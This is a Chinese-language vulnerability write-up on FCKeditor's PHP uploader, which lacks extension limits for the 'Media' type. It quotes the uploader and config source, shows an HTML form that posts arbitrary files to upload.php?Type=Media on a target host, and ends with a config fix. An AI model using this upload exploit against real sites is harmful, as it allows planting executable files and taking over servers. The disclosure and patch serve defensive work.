1、漏洞描述
   
fckeditor/editor/filemanager/upload/php/upload.php
<?php
/*
* FCKeditor - The text editor for Internet - http://www.fckeditor.net
* Copyright (C) 2003-2007 Frederico Caldeira Knabben
*
* == BEGIN LICENSE ==
*
* Licensed under the terms of any of the following licenses at your
* choice:
*
* - GNU General Public License Version 2 or later (the "GPL")
*    http://www.gnu.org/licenses/gpl.html
*
* - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
*    http://www.gnu.org/licenses/lgpl.html
*
* - Mozilla Public License Version 1.1 or later (the "MPL")
*    http://www.mozilla.org/MPL/MPL-1.1.html
*
* == END LICENSE ==
*
* This is the "File Uploader" for PHP.
*/
require('config.php') ;
require('util.php') ;
// This is the function that sends the results of the uploading process.
function SendResults( $errorNumber, $fileUrl = '', $fileName = '', $customMsg = '' )
{
echo '<script type="text/javascript">' ;
echo 'window.parent.OnUploadCompleted(' . $errorNumber . ',"' . str_replace( '"', '\\"', $fileUrl ) . '","' . str_replace( '"', '\\"', $fileName ) . '", "' . str_replace( '"', '\\"', $customMsg ) . '") ;' ;
echo '</script>' ;
exit ;
}
// Check if this uploader has been enabled.
if ( !$Config['Enabled'] )
SendResults( '1', '', '', 'This file uploader is disabled. Please check the "editor/filemanager/upload/php/config.php" file' ) ;
// Check if the file has been correctly uploaded.
if ( !isset( $_FILES['NewFile'] ) || is_null( $_FILES['NewFile']['tmp_name'] ) || $_FILES['NewFile']['name'] == '' )
SendResults( '202' ) ;
// Get the posted file.
$oFile = $_FILES['NewFile'] ;
// Get the uploaded file name extension.
$sFileName = $oFile['name'] ;
// Replace dots in the name with underscores (only one dot can be there... security issue).
if ( $Config['ForceSingleExtension'] )
$sFileName = preg_replace( '/\\.(?![^.]*$)/', '_', $sFileName ) ;
$sOriginalFileName = $sFileName ;
// Get the extension.
$sExtension = substr( $sFileName, ( strrpos($sFileName, '.') + 1 ) ) ;
$sExtension = strtolower( $sExtension ) ;
// The the file type (from the QueryString, by default 'File').
$sType = isset( $_GET['Type'] ) ? $_GET['Type'] : 'File' ;
// Check if it is an allowed type.
if ( !in_array( $sType, array('File','Image','Flash','Media') ) )
    SendResults( 1, '', '', 'Invalid type specified' ) ;
// Get the allowed and denied extensions arrays.
$arAllowed = $Config['AllowedExtensions'][$sType] ;
$arDenied = $Config['DeniedExtensions'][$sType] ;
// Check if it is an allowed extension.
if ( ( count($arAllowed) > 0 && !in_array( $sExtension, $arAllowed ) ) || ( count($arDenied) > 0 && in_array( $sExtension, $arDenied ) ) )
SendResults( '202' ) ;
$sErrorNumber = '0' ;
$sFileUrl   = '' ;
// Initializes the counter used to rename the file, if another one with the same name already exists.
$iCounter = 0 ;
// Get the target directory.
if ( isset( $Config['UserFilesAbsolutePath'] ) && strlen( $Config['UserFilesAbsolutePath'] ) > 0 )
$sServerDir = $Config['UserFilesAbsolutePath'] ;
else
$sServerDir = GetRootPath() . $Config["UserFilesPath"] ;
if ( $Config['UseFileType'] )
$sServerDir .= $sType . '/' ;
while ( true )
{
// Compose the file path.
$sFilePath = $sServerDir . $sFileName ;
// If a file with that name already exists.
if ( is_file( $sFilePath ) )
{
   $iCounter++ ;
   $sFileName = RemoveExtension( $sOriginalFileName ) . '(' . $iCounter . ').' . $sExtension ;
   $sErrorNumber = '201' ;
}
else
{
   move_uploaded_file( $oFile['tmp_name'], $sFilePath ) ;
   if ( is_file( $sFilePath ) )
   {
    $oldumask = umask(0) ;
    chmod( $sFilePath, 0777 ) ;
    umask( $oldumask ) ;
   }
   if ( $Config['UseFileType'] )
    $sFileUrl = $Config["UserFilesPath"] . $sType . '/' . $sFileName ;
   else
    $sFileUrl = $Config["UserFilesPath"] . $sFileName ;
   break ;
}
}
SendResults( $sErrorNumber, $sFileUrl, $sFileName ) ;
?>

    fckeditor/editor/filemanager/upload/php/config.php
<?php
/*
* FCKeditor - The text editor for Internet - http://www.fckeditor.net
* Copyright (C) 2003-2007 Frederico Caldeira Knabben
*
* == BEGIN LICENSE ==
*
* Licensed under the terms of any of the following licenses at your
* choice:
*
* - GNU General Public License Version 2 or later (the "GPL")
*    http://www.gnu.org/licenses/gpl.html
*
* - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
*    http://www.gnu.org/licenses/lgpl.html
*
* - Mozilla Public License Version 1.1 or later (the "MPL")
*    http://www.mozilla.org/MPL/MPL-1.1.html
*
* == END LICENSE ==
*
* Configuration file for the PHP File Uploader.
*/
global $Config ;
// SECURITY: You must explicitelly enable this "uploader".
$Config['Enabled'] = false ;
// Set if the file type must be considere in the target path.
// Ex: /userfiles/p_w_picpath/ or /userfiles/file/
$Config['UseFileType'] = false ;
// Path to uploaded files relative to the document root.
$Config['UserFilesPath'] = '/userfiles/' ;
// Fill the following value it you prefer to specify the absolute path for the
// user files directory. Usefull if you are using a virtual directory, symbolic
// link or alias. Examples: 'C:\\MySite\\userfiles\\' or '/root/mysite/userfiles/'.
// Attention: The above 'UserFilesPath' must point to the same directory.
$Config['UserFilesAbsolutePath'] = '' ;
// Due to security issues with Apache modules, it is reccomended to leave the
// following setting enabled.
$Config['ForceSingleExtension'] = true ;
$Config['AllowedExtensions']['File'] = array() ;
$Config['DeniedExtensions']['File']   = array('html','htm','php','php2','php3','php4','php5','phtml','pwml','inc','asp','aspx','ascx','jsp','cfm','cfc','pl','bat','exe','com','dll','vbs','js','reg','cgi','htaccess','asis') ;
$Config['AllowedExtensions']['Image'] = array('jpg','gif','jpeg','png') ;
$Config['DeniedExtensions']['Image'] = array() ;
$Config['AllowedExtensions']['Flash'] = array('swf','fla') ;
$Config['DeniedExtensions']['Flash'] = array() ;
?>


    问题主要是出在config.php文件中未对Media目录作白名单和黑名单的限制,大概是写漏了,因为在fckeditor/editor /filemanager/browser/default/connectors/php目录中的config.php文件对Media是有限制的。

<?php
/*
* FCKeditor - The text editor for Internet - http://www.fckeditor.net
* Copyright (C) 2003-2007 Frederico Caldeira Knabben
*
* == BEGIN LICENSE ==
*
* Licensed under the terms of any of the following licenses at your
* choice:
*
* - GNU General Public License Version 2 or later (the "GPL")
*    http://www.gnu.org/licenses/gpl.html
*
* - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
*    http://www.gnu.org/licenses/lgpl.html
*
* - Mozilla Public License Version 1.1 or later (the "MPL")
*    http://www.mozilla.org/MPL/MPL-1.1.html
*
* == END LICENSE ==
*
* Configuration file for the File Manager Connector for PHP.
*/
global $Config ;
// SECURITY: You must explicitelly enable this "connector". (Set it to "true").
$Config['Enabled'] = false ;

// Path to user files relative to the document root.
$Config['UserFilesPath'] = '/userfiles/' ;
// Fill the following value it you prefer to specify the absolute path for the
// user files directory. Usefull if you are using a virtual directory, symbolic
// link or alias. Examples: 'C:\\MySite\\userfiles\\' or '/root/mysite/userfiles/'.
// Attention: The above 'UserFilesPath' must point to the same directory.
$Config['UserFilesAbsolutePath'] = '' ;
// Due to security issues with Apache modules, it is reccomended to leave the
// following setting enabled.
$Config['ForceSingleExtension'] = true ;
$Config['AllowedExtensions']['File'] = array() ;
$Config['DeniedExtensions']['File']   = array('html','htm','php','php2','php3','php4','php5','phtml','pwml','inc','asp','aspx','ascx','jsp','cfm','cfc','pl','bat','exe','com','dll','vbs','js','reg','cgi','htaccess','asis') ;
$Config['AllowedExtensions']['Image'] = array('jpg','gif','jpeg','png') ;
$Config['DeniedExtensions']['Image'] = array() ;
$Config['AllowedExtensions']['Flash'] = array('swf','fla') ;
$Config['DeniedExtensions']['Flash'] = array() ;
$Config['AllowedExtensions']['Media'] = array('swf','fla','jpg','gif','jpeg','png','avi','mpg','mpeg') ;
$Config['DeniedExtensions']['Media'] = array() ;
?>


    2、漏洞利用
    既然fckeditor/editor/filemanager/browser/default/connectors/php/config.php 已经过滤了,那就只能利用fckeditor/editor/filemanager/upload/php/config.php了。
    不过如果留意一下改配置文件,就能看到默认情况下“$Config['Enabled'] = false”,是不允许上传的;其次,看upload.php能发现,程序对上传文件夹作了比对,必须是Media,说明在windows下不影响,但在 Linux下则必须是大写M的Media目录,如果是media则返回信息正常,但文件并未上传成功。
    自己写段上传脚本:

<form id="frmUpload" enctype="multipart/form-data" action="http://www.xxx.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">
Upload a new file:<br>
<input type="file" name="NewFile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form>

    提交后查看源码就能看到上传文件的位置。
    3、漏洞修补
    最好用新版,要不就拷贝以下代码到config.php最后。
$Config['AllowedExtensions']['Media'] = array('swf','fla','jpg','gif','jpeg','png','avi','mpg','mpeg') ;
$Config['DeniedExtensions']['Media'] = array() ;